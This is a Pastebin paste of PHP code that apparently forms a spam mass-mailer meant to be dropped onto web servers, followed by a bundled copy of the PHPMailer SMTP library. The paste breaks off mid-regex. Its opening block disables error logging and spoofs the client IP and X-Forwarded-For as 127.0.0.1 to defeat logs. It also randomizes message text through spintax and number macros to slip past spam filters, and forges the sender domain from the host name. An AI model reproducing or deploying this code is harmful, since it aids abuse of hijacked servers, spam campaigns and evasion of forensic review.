Guest User

Untitled

a guest
Jul 30th, 2015
350
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 110.20 KB | None | 0 0
  1.  
  2. @ini_set('error_log', NULL);
  3. @ini_set('log_errors', 0);
  4. @ini_set('max_execution_time', 0);
  5. @set_time_limit(0);
  6.  
  7. if(isset($_SERVER))
  8. {
  9. $_SERVER['PHP_SELF'] = "/";
  10. $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
  11. if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
  12. {
  13. $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
  14. }
  15. }
  16. if(isset($_FILES))
  17. {
  18. foreach($_FILES as $key => $file)
  19. {
  20. if(!strpos($file['name'], ".jpg"))
  21. {
  22. $filename = alter_macros($file['name']);
  23. $filename = num_macros($filename);
  24. $filename = xnum_macros($filename);
  25. $_FILES[$key]["name"] = $filename;
  26. }
  27. }
  28. }
  29.  
  30. function custom_strip_tags($text)
  31. {
  32. $text = strip_tags($text, '<a>');
  33. $text = str_replace("<a href=\"", "[ ", $text);
  34. $text = str_replace("</a>", "", $text);
  35. $text = str_replace("\">", " ] ", $text);
  36. return $text;
  37. }
  38. function is_ip($str) {
  39. return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str);
  40. }
  41. function from_host($content)
  42. {
  43. $host = preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']);
  44. if (is_ip($host))
  45. {
  46. return $content;
  47. }
  48.  
  49. $tokens = explode("@", $content);
  50. $content = $tokens[0] . "@" . $host . ">";
  51. return $content;
  52. }
  53. function alter_macros($content)
  54. {
  55. preg_match_all('#{(.*)}#Ui', $content, $matches);
  56. for($i = 0; $i < count($matches[1]); $i++)
  57. {
  58. $ns = explode("|", $matches[1][$i]);
  59. $c2 = count($ns);
  60. $rand = rand(0, ($c2 - 1));
  61. $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
  62. }
  63. return $content;
  64. }
  65.  
  66. function xnum_macros($content)
  67. {
  68. preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);
  69. for($i = 0; $i < count($matches[0]); $i++)
  70. {
  71. $num = $matches[1][$i];
  72. $min = pow(10, $num - 1);
  73. $max = pow(10, $num) - 1;
  74. $rand = rand($min, $max);
  75. $content = str_replace($matches[0][$i], $rand, $content);
  76. }
  77. return $content;
  78. }
  79. function num_macros($content)
  80. {
  81. preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
  82. for($i = 0; $i < count($matches[0]); $i++)
  83. {
  84. $min = $matches[1][$i];
  85. $max = $matches[2][$i];
  86. $rand = rand($min, $max);
  87. $content = str_replace($matches[0][$i], $rand, $content);
  88. }
  89. return $content;
  90. }
  91.  
  92. function fteil_macros($content, $fteil)
  93. {
  94. return str_replace("[FTEIL]", $fteil, $content);
  95. }
  96. class SMTP
  97. {
  98. const VERSION = '5.2.10';
  99. const CRLF = "\r\n";
  100. const DEFAULT_SMTP_PORT = 25;
  101. const MAX_LINE_LENGTH = 998;
  102. const DEBUG_OFF = 0;
  103. const DEBUG_CLIENT = 1;
  104. const DEBUG_SERVER = 2;
  105. const DEBUG_CONNECTION = 3;
  106. const DEBUG_LOWLEVEL = 4;
  107. public $Version = '5.2.10';
  108. public $SMTP_PORT = 25;
  109. public $CRLF = "\r\n";
  110. public $do_debug = self::DEBUG_OFF;
  111. public $Debugoutput = 'echo';
  112. public $do_verp = false;
  113. public $Timeout = 300;
  114. public $Timelimit = 300;
  115. protected $smtp_conn;
  116. protected $error = array(
  117. 'error' => '',
  118. 'detail' => '',
  119. 'smtp_code' => '',
  120. 'smtp_code_ex' => ''
  121. );
  122. protected $helo_rply = null;
  123. protected $server_caps = null;
  124. protected $last_reply = '';
  125. protected function edebug($str, $level = 0)
  126. {
  127. if ($level > $this->do_debug) {
  128. return;
  129. }
  130. if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  131. call_user_func($this->Debugoutput, $str, $this->do_debug);
  132. return;
  133. }
  134. switch ($this->Debugoutput) {
  135. case 'error_log':
  136. error_log($str);
  137. break;
  138. case 'html':
  139. echo htmlentities(
  140. preg_replace('/[\r\n]+/', '', $str),
  141. ENT_QUOTES,
  142. 'UTF-8'
  143. )
  144. . "<br>\n";
  145. break;
  146. case 'echo':
  147. default:
  148. $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  149. echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  150. "\n",
  151. "\n \t ",
  152. trim($str)
  153. )."\n";
  154. }
  155. }
  156. public function connect($host, $port = null, $timeout = 30, $options = array())
  157. {
  158. static $streamok;
  159. if (is_null($streamok)) {
  160. $streamok = function_exists('stream_socket_client');
  161. }
  162. $this->setError('');
  163. if ($this->connected()) {
  164. $this->setError('Already connected to a server');
  165. return false;
  166. }
  167. if (empty($port)) {
  168. $port = self::DEFAULT_SMTP_PORT;
  169. }
  170. $this->edebug(
  171. "Connection: opening to $host:$port, timeout=$timeout, options=".var_export($options, true),
  172. self::DEBUG_CONNECTION
  173. );
  174. $errno = 0;
  175. $errstr = '';
  176. if ($streamok) {
  177. $socket_context = stream_context_create($options);
  178. $this->smtp_conn = @stream_socket_client(
  179. $host . ":" . $port,
  180. $errno,
  181. $errstr,
  182. $timeout,
  183. STREAM_CLIENT_CONNECT,
  184. $socket_context
  185. );
  186. } else {
  187. $this->edebug(
  188. "Connection: stream_socket_client not available, falling back to fsockopen",
  189. self::DEBUG_CONNECTION
  190. );
  191. $this->smtp_conn = fsockopen(
  192. $host,
  193. $port,
  194. $errno,
  195. $errstr,
  196. $timeout
  197. );
  198. }
  199. if (!is_resource($this->smtp_conn)) {
  200. $this->setError(
  201. 'Failed to connect to server',
  202. $errno,
  203. $errstr
  204. );
  205. $this->edebug(
  206. 'SMTP ERROR: ' . $this->error['error']
  207. . ": $errstr ($errno)",
  208. self::DEBUG_CLIENT
  209. );
  210. return false;
  211. }
  212. $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
  213. if (substr(PHP_OS, 0, 3) != 'WIN') {
  214. $max = ini_get('max_execution_time');
  215. if ($max != 0 && $timeout > $max) {
  216. @set_time_limit($timeout);
  217. }
  218. stream_set_timeout($this->smtp_conn, $timeout, 0);
  219. }
  220. $announce = $this->get_lines();
  221. $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
  222. return true;
  223. }
  224. public function startTLS()
  225. {
  226. if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
  227. return false;
  228. }
  229. if (!stream_socket_enable_crypto(
  230. $this->smtp_conn,
  231. true,
  232. STREAM_CRYPTO_METHOD_TLS_CLIENT
  233. )) {
  234. return false;
  235. }
  236. return true;
  237. }
  238. public function authenticate(
  239. $username,
  240. $password,
  241. $authtype = null,
  242. $realm = '',
  243. $workstation = ''
  244. ) {
  245. if (!$this->server_caps) {
  246. $this->setError('Authentication is not allowed before HELO/EHLO');
  247. return false;
  248. }
  249. if (array_key_exists('EHLO', $this->server_caps)) {
  250. if (!array_key_exists('AUTH', $this->server_caps)) {
  251. $this->setError('Authentication is not allowed at this stage');
  252. return false;
  253. }
  254. self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
  255. self::edebug(
  256. 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
  257. self::DEBUG_LOWLEVEL
  258. );
  259. if (empty($authtype)) {
  260. foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) {
  261. if (in_array($method, $this->server_caps['AUTH'])) {
  262. $authtype = $method;
  263. break;
  264. }
  265. }
  266. if (empty($authtype)) {
  267. $this->setError('No supported authentication methods found');
  268. return false;
  269. }
  270. self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
  271. }
  272. if (!in_array($authtype, $this->server_caps['AUTH'])) {
  273. $this->setError("The requested authentication method \"$authtype\" is not supported by the server");
  274. return false;
  275. }
  276. } elseif (empty($authtype)) {
  277. $authtype = 'LOGIN';
  278. }
  279. switch ($authtype) {
  280. case 'PLAIN':
  281. if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
  282. return false;
  283. }
  284. if (!$this->sendCommand(
  285. 'User & Password',
  286. base64_encode("\0" . $username . "\0" . $password),
  287. 235
  288. )
  289. ) {
  290. return false;
  291. }
  292. break;
  293. case 'LOGIN':
  294. if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
  295. return false;
  296. }
  297. if (!$this->sendCommand("Username", base64_encode($username), 334)) {
  298. return false;
  299. }
  300. if (!$this->sendCommand("Password", base64_encode($password), 235)) {
  301. return false;
  302. }
  303. break;
  304. case 'NTLM':
  305. require_once 'extras/ntlm_sasl_client.php';
  306. $temp = new stdClass;
  307. $ntlm_client = new ntlm_sasl_client_class;
  308. if (!$ntlm_client->Initialize($temp)) {
  309. $this->setError($temp->error);
  310. $this->edebug(
  311. 'You need to enable some modules in your php.ini file: '
  312. . $this->error['error'],
  313. self::DEBUG_CLIENT
  314. );
  315. return false;
  316. }
  317. $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1
  318. if (!$this->sendCommand(
  319. 'AUTH NTLM',
  320. 'AUTH NTLM ' . base64_encode($msg1),
  321. 334
  322. )
  323. ) {
  324. return false;
  325. }
  326. $challenge = substr($this->last_reply, 3);
  327. $challenge = base64_decode($challenge);
  328. $ntlm_res = $ntlm_client->NTLMResponse(
  329. substr($challenge, 24, 8),
  330. $password
  331. );
  332. $msg3 = $ntlm_client->TypeMsg3(
  333. $ntlm_res,
  334. $username,
  335. $realm,
  336. $workstation
  337. );
  338. return $this->sendCommand('Username', base64_encode($msg3), 235);
  339. case 'CRAM-MD5':
  340. if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
  341. return false;
  342. }
  343. $challenge = base64_decode(substr($this->last_reply, 4));
  344. $response = $username . ' ' . $this->hmac($challenge, $password);
  345. return $this->sendCommand('Username', base64_encode($response), 235);
  346. default:
  347. $this->setError("Authentication method \"$authtype\" is not supported");
  348. return false;
  349. }
  350. return true;
  351. }
  352. protected function hmac($data, $key)
  353. {
  354. if (function_exists('hash_hmac')) {
  355. return hash_hmac('md5', $data, $key);
  356. }
  357. $bytelen = 64; // byte length for md5
  358. if (strlen($key) > $bytelen) {
  359. $key = pack('H*', md5($key));
  360. }
  361. $key = str_pad($key, $bytelen, chr(0x00));
  362. $ipad = str_pad('', $bytelen, chr(0x36));
  363. $opad = str_pad('', $bytelen, chr(0x5c));
  364. $k_ipad = $key ^ $ipad;
  365. $k_opad = $key ^ $opad;
  366. return md5($k_opad . pack('H*', md5($k_ipad . $data)));
  367. }
  368. public function connected()
  369. {
  370. if (is_resource($this->smtp_conn)) {
  371. $sock_status = stream_get_meta_data($this->smtp_conn);
  372. if ($sock_status['eof']) {
  373. $this->edebug(
  374. 'SMTP NOTICE: EOF caught while checking if connected',
  375. self::DEBUG_CLIENT
  376. );
  377. $this->close();
  378. return false;
  379. }
  380. return true; // everything looks good
  381. }
  382. return false;
  383. }
  384. public function close()
  385. {
  386. $this->setError('');
  387. $this->server_caps = null;
  388. $this->helo_rply = null;
  389. if (is_resource($this->smtp_conn)) {
  390. fclose($this->smtp_conn);
  391. $this->smtp_conn = null; //Makes for cleaner serialization
  392. $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
  393. }
  394. }
  395. public function data($msg_data)
  396. {
  397. if (!$this->sendCommand('DATA', 'DATA', 354)) {
  398. return false;
  399. }
  400. $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
  401. $field = substr($lines[0], 0, strpos($lines[0], ':'));
  402. $in_headers = false;
  403. if (!empty($field) && strpos($field, ' ') === false) {
  404. $in_headers = true;
  405. }
  406. foreach ($lines as $line) {
  407. $lines_out = array();
  408. if ($in_headers and $line == '') {
  409. $in_headers = false;
  410. }
  411. while (isset($line[self::MAX_LINE_LENGTH])) {
  412. $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
  413. if (!$pos) {
  414. $pos = self::MAX_LINE_LENGTH - 1;
  415. $lines_out[] = substr($line, 0, $pos);
  416. $line = substr($line, $pos);
  417. } else {
  418. $lines_out[] = substr($line, 0, $pos);
  419. $line = substr($line, $pos + 1);
  420. }
  421. if ($in_headers) {
  422. $line = "\t" . $line;
  423. }
  424. }
  425. $lines_out[] = $line;
  426. foreach ($lines_out as $line_out) {
  427. if (!empty($line_out) and $line_out[0] == '.') {
  428. $line_out = '.' . $line_out;
  429. }
  430. $this->client_send($line_out . self::CRLF);
  431. }
  432. }
  433. $savetimelimit = $this->Timelimit;
  434. $this->Timelimit = $this->Timelimit * 2;
  435. $result = $this->sendCommand('DATA END', '.', 250);
  436. $this->Timelimit = $savetimelimit;
  437. return $result;
  438. }
  439. public function hello($host = '')
  440. {
  441. return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
  442. }
  443. protected function sendHello($hello, $host)
  444. {
  445. $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
  446. $this->helo_rply = $this->last_reply;
  447. if ($noerror) {
  448. $this->parseHelloFields($hello);
  449. } else {
  450. $this->server_caps = null;
  451. }
  452. return $noerror;
  453. }
  454. protected function parseHelloFields($type)
  455. {
  456. $this->server_caps = array();
  457. $lines = explode("\n", $this->last_reply);
  458. foreach ($lines as $n => $s) {
  459. $s = trim(substr($s, 4));
  460. if (!$s) {
  461. continue;
  462. }
  463. $fields = explode(' ', $s);
  464. if (!empty($fields)) {
  465. if (!$n) {
  466. $name = $type;
  467. $fields = $fields[0];
  468. } else {
  469. $name = array_shift($fields);
  470. if ($name == 'SIZE') {
  471. $fields = ($fields) ? $fields[0] : 0;
  472. }
  473. }
  474. $this->server_caps[$name] = ($fields ? $fields : true);
  475. }
  476. }
  477. }
  478. public function mail($from)
  479. {
  480. $useVerp = ($this->do_verp ? ' XVERP' : '');
  481. return $this->sendCommand(
  482. 'MAIL FROM',
  483. 'MAIL FROM:<' . $from . '>' . $useVerp,
  484. 250
  485. );
  486. }
  487. public function quit($close_on_error = true)
  488. {
  489. $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
  490. $err = $this->error; //Save any error
  491. if ($noerror or $close_on_error) {
  492. $this->close();
  493. $this->error = $err; //Restore any error from the quit command
  494. }
  495. return $noerror;
  496. }
  497. public function recipient($toaddr)
  498. {
  499. return $this->sendCommand(
  500. 'RCPT TO',
  501. 'RCPT TO:<' . $toaddr . '>',
  502. array(250, 251)
  503. );
  504. }
  505. public function reset()
  506. {
  507. return $this->sendCommand('RSET', 'RSET', 250);
  508. }
  509. protected function sendCommand($command, $commandstring, $expect)
  510. {
  511. if (!$this->connected()) {
  512. $this->setError("Called $command without being connected");
  513. return false;
  514. }
  515. $this->client_send($commandstring . self::CRLF);
  516. $this->last_reply = $this->get_lines();
  517. $matches = array();
  518. if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
  519. $code = $matches[1];
  520. $code_ex = (count($matches) > 2 ? $matches[2] : null);
  521. $detail = preg_replace(
  522. "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m",
  523. '',
  524. $this->last_reply
  525. );
  526. } else {
  527. $code = substr($this->last_reply, 0, 3);
  528. $code_ex = null;
  529. $detail = substr($this->last_reply, 4);
  530. }
  531. $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
  532. if (!in_array($code, (array)$expect)) {
  533. $this->setError(
  534. "$command command failed",
  535. $detail,
  536. $code,
  537. $code_ex
  538. );
  539. $this->edebug(
  540. 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
  541. self::DEBUG_CLIENT
  542. );
  543. return false;
  544. }
  545. $this->setError('');
  546. return true;
  547. }
  548. public function sendAndMail($from)
  549. {
  550. return $this->sendCommand('SAML', "SAML FROM:$from", 250);
  551. }
  552. public function verify($name)
  553. {
  554. return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
  555. }
  556. public function noop()
  557. {
  558. return $this->sendCommand('NOOP', 'NOOP', 250);
  559. }
  560. public function turn()
  561. {
  562. $this->setError('The SMTP TURN command is not implemented');
  563. $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
  564. return false;
  565. }
  566. public function client_send($data)
  567. {
  568. $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
  569. return fwrite($this->smtp_conn, $data);
  570. }
  571. public function getError()
  572. {
  573. return $this->error;
  574. }
  575. public function getServerExtList()
  576. {
  577. return $this->server_caps;
  578. }
  579. public function getServerExt($name)
  580. {
  581. if (!$this->server_caps) {
  582. $this->setError('No HELO/EHLO was sent');
  583. return null;
  584. }
  585. // the tight logic knot ;)
  586. if (!array_key_exists($name, $this->server_caps)) {
  587. if ($name == 'HELO') {
  588. return $this->server_caps['EHLO'];
  589. }
  590. if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
  591. return false;
  592. }
  593. $this->setError('HELO handshake was used. Client knows nothing about server extensions');
  594. return null;
  595. }
  596. return $this->server_caps[$name];
  597. }
  598. public function getLastReply()
  599. {
  600. return $this->last_reply;
  601. }
  602. protected function get_lines()
  603. {
  604. if (!is_resource($this->smtp_conn)) {
  605. return '';
  606. }
  607. $data = '';
  608. $endtime = 0;
  609. stream_set_timeout($this->smtp_conn, $this->Timeout);
  610. if ($this->Timelimit > 0) {
  611. $endtime = time() + $this->Timelimit;
  612. }
  613. while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
  614. $str = @fgets($this->smtp_conn, 515);
  615. $this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL);
  616. $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
  617. $data .= $str;
  618. $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
  619. if ((isset($str[3]) and $str[3] == ' ')) {
  620. break;
  621. }
  622. $info = stream_get_meta_data($this->smtp_conn);
  623. if ($info['timed_out']) {
  624. $this->edebug(
  625. 'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
  626. self::DEBUG_LOWLEVEL
  627. );
  628. break;
  629. }
  630. if ($endtime and time() > $endtime) {
  631. $this->edebug(
  632. 'SMTP -> get_lines(): timelimit reached ('.
  633. $this->Timelimit . ' sec)',
  634. self::DEBUG_LOWLEVEL
  635. );
  636. break;
  637. }
  638. }
  639. return $data;
  640. }
  641. public function setVerp($enabled = false)
  642. {
  643. $this->do_verp = $enabled;
  644. }
  645. public function getVerp()
  646. {
  647. return $this->do_verp;
  648. }
  649. protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '')
  650. {
  651. $this->error = array(
  652. 'error' => $message,
  653. 'detail' => $detail,
  654. 'smtp_code' => $smtp_code,
  655. 'smtp_code_ex' => $smtp_code_ex
  656. );
  657. }
  658. public function setDebugOutput($method = 'echo')
  659. {
  660. $this->Debugoutput = $method;
  661. }
  662. public function getDebugOutput()
  663. {
  664. return $this->Debugoutput;
  665. }
  666. public function setDebugLevel($level = 0)
  667. {
  668. $this->do_debug = $level;
  669. }
  670. public function getDebugLevel()
  671. {
  672. return $this->do_debug;
  673. }
  674. public function setTimeout($timeout = 0)
  675. {
  676. $this->Timeout = $timeout;
  677. }
  678. public function getTimeout()
  679. {
  680. return $this->Timeout;
  681. }
  682. }
  683. class PHPMailer
  684. {
  685. public $Version = '5.2.9';
  686. public $Priority = 3;
  687. public $CharSet = 'iso-8859-1';
  688. public $ContentType = 'text/plain';
  689. public $Encoding = '8bit';
  690. public $ErrorInfo = '';
  691. public $From = 'root@localhost';
  692. public $FromName = 'Root User';
  693. public $Sender = '';
  694. public $ReturnPath = '';
  695. public $Subject = '';
  696. public $Body = '';
  697. public $AltBody = '';
  698. public $Ical = '';
  699. protected $MIMEBody = '';
  700. protected $MIMEHeader = '';
  701. protected $mailHeader = '';
  702. public $WordWrap = 0;
  703. public $Mailer = 'mail';
  704. public $Sendmail = '/usr/sbin/sendmail';
  705. public $UseSendmailOptions = true;
  706. public $PluginDir = '';
  707. public $ConfirmReadingTo = '';
  708. public $Hostname = '';
  709. public $MessageID = '';
  710. public $MessageDate = '';
  711. public $Host = 'localhost';
  712. public $Port = 25;
  713. public $Helo = '';
  714. public $SMTPSecure = '';
  715. public $SMTPAuth = false;
  716. public $Username = '';
  717. public $Password = '';
  718. public $AuthType = '';
  719. public $Realm = '';
  720. public $Workstation = '';
  721. public $Timeout = 300;
  722. public $SMTPDebug = 0;
  723. public $Debugoutput = 'echo';
  724. public $SMTPKeepAlive = false;
  725. public $SingleTo = false;
  726. public $SingleToArray = array();
  727. public $do_verp = false;
  728. public $AllowEmpty = false;
  729. public $LE = "\n";
  730. public $DKIM_selector = '';
  731. public $DKIM_identity = '';
  732. public $DKIM_passphrase = '';
  733. public $DKIM_domain = '';
  734. public $DKIM_private = '';
  735. public $action_function = '';
  736. public $XMailer = '';
  737. protected $smtp = null;
  738. protected $to = array();
  739. protected $cc = array();
  740. protected $bcc = array();
  741. protected $ReplyTo = array();
  742. protected $all_recipients = array();
  743. protected $attachment = array();
  744. protected $CustomHeader = array();
  745. protected $lastMessageID = '';
  746. protected $message_type = '';
  747. protected $boundary = array();
  748. protected $language = array();
  749. protected $error_count = 0;
  750. protected $sign_cert_file = '';
  751. protected $sign_key_file = '';
  752. protected $sign_key_pass = '';
  753. protected $exceptions = false;
  754. const STOP_MESSAGE = 0;
  755. const STOP_CONTINUE = 1;
  756. const STOP_CRITICAL = 2;
  757. const CRLF = "\r\n";
  758. public function __construct($exceptions = false)
  759. {
  760. $this->exceptions = (boolean)$exceptions;
  761. }
  762. public function __destruct()
  763. {
  764. }
  765. private function mailPassthru($to, $subject, $body, $header, $params)
  766. {
  767. //Check overloading of mail function to avoid double-encoding
  768. if (ini_get('mbstring.func_overload') & 1) {
  769. $subject = $this->secureHeader($subject);
  770. } else {
  771. $subject = $this->encodeHeader($this->secureHeader($subject));
  772. }
  773. if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
  774. $result = @mail($to, $subject, $body, $header);
  775. } else {
  776. $result = @mail($to, $subject, $body, $header, $params);
  777. }
  778. return $result;
  779. }
  780. protected function edebug($str)
  781. {
  782. if ($this->SMTPDebug <= 0) {
  783. return;
  784. }
  785. //Avoid clash with built-in function names
  786. if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  787. call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
  788. return;
  789. }
  790. switch ($this->Debugoutput) {
  791. case 'error_log':
  792. //Don't output, just log
  793. error_log($str);
  794. break;
  795. case 'html':
  796. //Cleans up output a bit for a better looking, HTML-safe output
  797. echo htmlentities(
  798. preg_replace('/[\r\n]+/', '', $str),
  799. ENT_QUOTES,
  800. 'UTF-8'
  801. )
  802. . "<br>\n";
  803. break;
  804. case 'echo':
  805. default:
  806. //Normalize line breaks
  807. $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  808. echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  809. "\n",
  810. "\n \t ",
  811. trim($str)
  812. ) . "\n";
  813. }
  814. }
  815. public function isHTML($isHtml = true)
  816. {
  817. if ($isHtml) {
  818. $this->ContentType = 'text/html';
  819. } else {
  820. $this->ContentType = 'text/plain';
  821. }
  822. }
  823. public function isSMTP()
  824. {
  825. $this->Mailer = 'smtp';
  826. }
  827. public function isMail()
  828. {
  829. $this->Mailer = 'mail';
  830. }
  831. public function isSendmail()
  832. {
  833. $ini_sendmail_path = ini_get('sendmail_path');
  834. if (!stristr($ini_sendmail_path, 'sendmail')) {
  835. $this->Sendmail = '/usr/sbin/sendmail';
  836. } else {
  837. $this->Sendmail = $ini_sendmail_path;
  838. }
  839. $this->Mailer = 'sendmail';
  840. }
  841. public function isQmail()
  842. {
  843. $ini_sendmail_path = ini_get('sendmail_path');
  844. if (!stristr($ini_sendmail_path, 'qmail')) {
  845. $this->Sendmail = '/var/qmail/bin/qmail-inject';
  846. } else {
  847. $this->Sendmail = $ini_sendmail_path;
  848. }
  849. $this->Mailer = 'qmail';
  850. }
  851. public function addAddress($address, $name = '')
  852. {
  853. return $this->addAnAddress('to', $address, $name);
  854. }
  855. public function addCC($address, $name = '')
  856. {
  857. return $this->addAnAddress('cc', $address, $name);
  858. }
  859. public function addBCC($address, $name = '')
  860. {
  861. return $this->addAnAddress('bcc', $address, $name);
  862. }
  863. public function addReplyTo($address, $name = '')
  864. {
  865. return $this->addAnAddress('Reply-To', $address, $name);
  866. }
  867. protected function addAnAddress($kind, $address, $name = '')
  868. {
  869. if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
  870. $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
  871. $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
  872. if ($this->exceptions) {
  873. throw new phpmailerException('Invalid recipient array: ' . $kind);
  874. }
  875. return false;
  876. }
  877. $address = trim($address);
  878. $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  879. if (!$this->validateAddress($address)) {
  880. $this->setError($this->lang('invalid_address') . ': ' . $address);
  881. $this->edebug($this->lang('invalid_address') . ': ' . $address);
  882. if ($this->exceptions) {
  883. throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  884. }
  885. return false;
  886. }
  887. if ($kind != 'Reply-To') {
  888. if (!isset($this->all_recipients[strtolower($address)])) {
  889. array_push($this->$kind, array($address, $name));
  890. $this->all_recipients[strtolower($address)] = true;
  891. return true;
  892. }
  893. } else {
  894. if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  895. $this->ReplyTo[strtolower($address)] = array($address, $name);
  896. return true;
  897. }
  898. }
  899. return false;
  900. }
  901. public function setFrom($address, $name = '', $auto = true)
  902. {
  903. $address = trim($address);
  904. $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  905. if (!$this->validateAddress($address)) {
  906. $this->setError($this->lang('invalid_address') . ': ' . $address);
  907. $this->edebug($this->lang('invalid_address') . ': ' . $address);
  908. if ($this->exceptions) {
  909. throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  910. }
  911. return false;
  912. }
  913. $this->From = $address;
  914. $this->FromName = $name;
  915. if ($auto) {
  916. if (empty($this->Sender)) {
  917. $this->Sender = $address;
  918. }
  919. }
  920. return true;
  921. }
  922. public function getLastMessageID()
  923. {
  924. return $this->lastMessageID;
  925. }
  926. public static function validateAddress($address, $patternselect = 'auto')
  927. {
  928. if (!$patternselect or $patternselect == 'auto') {
  929. //Check this constant first so it works when extension_loaded() is disabled by safe mode
  930. //Constant was added in PHP 5.2.4
  931. if (defined('PCRE_VERSION')) {
  932. //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
  933. if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
  934. $patternselect = 'pcre8';
  935. } else {
  936. $patternselect = 'pcre';
  937. }
  938. } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
  939. //Fall back to older PCRE
  940. $patternselect = 'pcre';
  941. } else {
  942. //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
  943. if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
  944. $patternselect = 'php';
  945. } else {
  946. $patternselect = 'noregex';
  947. }
  948. }
  949. }
  950. switch ($patternselect) {
  951. case 'pcre8':
  952. return (boolean)preg_match(
  953. '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
  954. '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
  955. '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
  956. '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
  957. '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
  958. '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
  959. '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
  960. '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  961. '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
  962. $address
  963. );
  964. case 'pcre':
  965. //An older regex that doesn't need a recent PCRE
  966. return (boolean)preg_match(
  967. '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
